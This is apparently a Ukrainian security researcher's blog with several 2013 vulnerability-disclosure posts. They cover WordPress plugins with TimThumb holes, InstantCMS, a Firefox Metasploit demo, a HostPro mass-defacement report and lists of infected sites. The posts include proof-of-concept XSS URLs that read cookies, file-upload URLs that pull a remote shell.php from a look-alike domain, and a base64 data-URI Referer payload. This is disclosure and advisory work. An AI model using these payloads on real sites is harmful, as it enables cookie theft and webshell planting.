Websecurity - Веб безпека

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах silverOrchid, Encrypted Blog та Wordfence. Для котрих з’явилися експлоіти. silverOrchid - це тема движка, Encrypted Blog - це плагін для шифрування блогу, Wordfence - це секюріті плагін для WordPress. Раніше я вже знаходив уразливості в Wordfence Security і пропонував розробнику провести аудит його плагіна, але він відмовився, тому зовсім не дивні повідомлення про нові уразливості в цьому плагіні.

• WordPress silverOrchid Cross Site Scripting (деталі)
• WordPress Encrypted Blog 0.0.6.2 XSS / Open Redirect (деталі)
• WordPress Wordfence 3.8.1 Cross Site Scripting (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

Продовжуючи розпочату традицію, після попереднього відео про виконання коду в Internet Explorer, пропоную нове відео на веб секюріті тематику. Цього разу відео про виконання коду в Mozilla Firefox. Рекомендую подивитися всім хто цікавиться цією темою.

CVE-2011-2371 Mozilla Firefox Array.reduceRight() Integer Overflow

В даному відео ролику демонструється використання Metasploit Framework для проведення атаки на уразливість в Mozilla Firefox 3.6.17 і 4.0. В Metasploit створюється і запускається експлоіт, який призводить до віддаленого виконання коду в Firefox при відкритті сторінки з кодом експлоіту. Що дозволяє нападнику отримати контроль над атакованим комп’ютером.

Атака відбувається при відвідуванні в Firefox спеціально створеного веб сайта, що містить код експлоіту. Рекомендую подивитися дане відео для розуміння векторів атак на браузери.

Сьогодні вийшли PHP 5.4.20 і PHP 5.5.4. У версії 5.5.4 виправлено декілька багів, а у версії 5.4.20 виправлено біля 30 багів. Дані релізи направлені на покращення стабільності гілок 5.4.x і 5.5.x.

Жодних уразливостей в цих версіях PHP виправлено не було.

По матеріалам http://www.php.net.

Торік я писав про численні уразливості в Rokbox для WordPress. А минулого тижня я виявив численні уразливості в плагінах RokIntroScroller і RokMicroNews для WordPress. Зокрема Cross-Site Scripting, Full path disclosure, Abuse of Functionality, Denial of Service та Arbitrary File Upload уразливості.

Стосовно плагінів для WordPress раніше я писав про уразливості в RokStories і RokNewsPager.

В цих плагінах для WordPress використовуються TimThumb (окрім Rokbox, розробники включили його в інші свої плагіни). Тому вони мають всі дірки TimThumb, які я оприлюднив ще в 2011 році.

XSS (WASC-08):

http://site/wp-content/plugins/wp_rokintroscroller/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg
http://site/wp-content/plugins/wp_rokmicronews/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

А також FPD, Abuse of Functionality і DoS в уразливості в TimThumb та Arbitrary File Upload уразливість, що була оприлюднена через 3,5 місяці після оприлюднення мною попередніх дірок.

AFU (WASC-31):

http://site/wp-content/plugins/wp_rokintroscroller/thumb.php?src=http://flickr.com.site.com/shell.php
http://site/wp-content/plugins/wp_rokmicronews/thumb.php?src=http://flickr.com.site.com/shell.php

Full path disclosure (WASC-13):

http://site/wp-content/plugins/wp_rokintroscroller/rokintroscroller.php
http://site/wp-content/plugins/wp_rokmicronews/rokmicronews.php

Вразливі RokIntroScroller 1.8 і попередні версії та RokMicroNews 1.5 і попередні версії. А до останньої FPD вразливі всі версії плагінів RokIntroScroller та RokMicroNews.

Торік я писав про численні уразливості в Rokbox для WordPress. А минулого тижня я виявив численні уразливості в плагінах RokStories і RokNewsPager для WordPress. Зокрема Cross-Site Scripting, Full path disclosure, Abuse of Functionality, Denial of Service та Arbitrary File Upload уразливості.

Стосовно плагінів для WordPress раніше я писав про уразливості в WPtouch і WPtouch Pro.

В цих плагінах для WordPress використовуються TimThumb (окрім Rokbox, розробники включили його в інші свої плагіни). Тому вони мають всі дірки TimThumb, які я оприлюднив ще в 2011 році.

XSS (WASC-08):

http://site/wp-content/plugins/wp_rokstories/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg
http://site/wp-content/plugins/wp_roknewspager/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

А також FPD, Abuse of Functionality і DoS в уразливості в TimThumb та Arbitrary File Upload уразливість, що була оприлюднена через 3,5 місяці після оприлюднення мною попередніх дірок.

AFU (WASC-31):

http://site/wp-content/plugins/wp_rokstories/thumb.php?src=http://flickr.com.site.com/shell.php
http://site/wp-content/plugins/wp_roknewspager/thumb.php?src=http://flickr.com.site.com/shell.php

Full path disclosure (WASC-13):

http://site/wp-content/plugins/wp_rokstories/rokstories.php
http://site/wp-content/plugins/wp_roknewspager/roknewspager.php

Вразливі RokStories 1.25 і попередні версії та RokNewsPager 1.17 і попередні версії. А до останньої FPD вразливі всі версії плагінів RokStories та RokNewsPager.

В липні відбувся новий масовий взлом сайтів на сервері HostPro. Він тривав 24.12.2011, 14.06.2012-17.09.2012 і 16.01.2013-24.08.2013. Десятий масовий взлом сайтів на сервері HostPro відбувся раніше.

Був взломаний сервер української компанії HostPro. Взлом складався з багатьох невеликих дефейсів і трьох крупних дефейсів сайтів.

Спочатку було взломано 132 сайти, а потім ще 56 - всього 188 сайтів на сервері хостера HostPro (IP 194.28.85.190). Перелік сайтів можете подивитися на www.zone-h.org. Серед них українські державні сайти www.police.gov.ua, dndc-uz.gov.ua та www.manrayrada.gov.ua, який був взломаний двічі (в 2012 і 2013 роках).

З зазначених 188 сайтів 7 сайтів були взломані хакерами з holy lycans, 45 сайтів хакерами з Lopht Crews, 3 сайти хакером CoupDeGrace, 4 сайти хакером Hmei7, 1 сайт хакером Moroccan Hassan, 3 сайти хакером Kurd007, 74 сайти хакером NeT.Defacer, 10 сайтів хакерами з P4kurd-TeaM, 8 сайів хакером Harez Kurdstan, 2 сайти хакером ghost-dz, 2 сайти хакером misafir, 25 сайтів хакерами з AHS-CREW та 1 сайт хакером WeWe ArAr.

Якщо невеликі дефейси по одному або кілька сайтів явно були зроблені при взломах окремих сайтів, то стосовно великих дефейсів Lopht Crews, NeT.Defacer, P4kurd-TeaM та AHS-CREW можна сказати, що враховуючи дефейс великої кількості сайтів за один день, немає сумнівів, що вони були взломані через взлом серверу хостінг провайдера. Коли через взлом одного сайта, був отриманий root доступ до сервера (через уразливості в програмному забезпеченні самого сервера) та атаковані інші сайти на даному сервері.

У вересні, 11.09.2013, вийшла нова версія WordPress 3.6.1.

WordPress 3.6.1 це секюріті та багфікс випуск нової 3.6 серії. В якому розробники виправили декілька уразливостей і 13 багів. Причому окрім трьох дірок, вони зробили одне покращення безпеки (security hardening) в аплоадері, не зараховуючи його до виправлень уразливостей (як це вони полюбляють робити), хоча це також уразливість. До того ж виправлення в аплоадері лише часткові: вони передовсім стосуються обмежених акаунтів, а через акаунт адміна все ще можна проводити атаки.

Стосовно покращення безпеки, то були виправлені наступні уразливості: Remote Code Execution через небезпечну десеріалізацію PHP, Link Injection (Open Redirect) та Privilege Escalation. А також оновлені секюріті обмеження в аплоадері для протидії Cross-Site Scripting атакам.

В даній добірці експлоіти в веб додатках:

• Synology DiskStation Manager (DSM) 4.3-3776 - Multiple Vulnerabilities (деталі)
• Router ONO Hitron CDE-30364 - CSRF Vulnerability (деталі)
• Belkin G Wireless Router Firmware 5.00.12 - RCE PoC (деталі)
• SPIP connect Parameter PHP Injection Vulnerability (деталі)
• Firefox XMLSerializer Use After Free Vulnerability (деталі)

17.07.2013

У липні, 14.07.2013, я знайшов Cross-Site Scripting та Redirector уразливості в InstantCMS. Про що найближчим часом повідомлю розробникам системи.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам.

17.09.2013

Cross-Site Scripting (WASC-08):

GET запит до http://site/modules/mod_template/set.php з вказанням заголовку Referer.

Referer: data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

Redirector (URL Redirector Abuse) (WASC-38):

GET запит до http://site/modules/mod_template/set.php з вказанням заголовку Referer.

Referer: http://websecurity.com.ua

Вразливі InstantCMS 1.10.2 та попередні версії.

Дані уразливості досі не виправлені.

Після попереднього дослідження інфікованих сайтів, приведу нову інформацію про заражені сайти. З числа українських сайтів.

• http://donpfu.gov.ua - інфікований державний сайт - інфекція була виявлена 02.07.2013. Зараз сайт не входить до переліку підозрілих.
• http://poiskuha.com.ua - інфекція була виявлена 02.07.2013. Зараз сайт не входить до переліку підозрілих.
• http://real1.com.ua - інфекція була виявлена 02.07.2013. Зараз сайт не входить до переліку підозрілих.
• http://papovs.com.ua - інфекція була виявлена 03.07.2013. Зараз сайт не входить до переліку підозрілих.
• http://informax.kiev.ua - інфекція була виявлена 02.07.2013. Зараз сайт не входить до переліку підозрілих.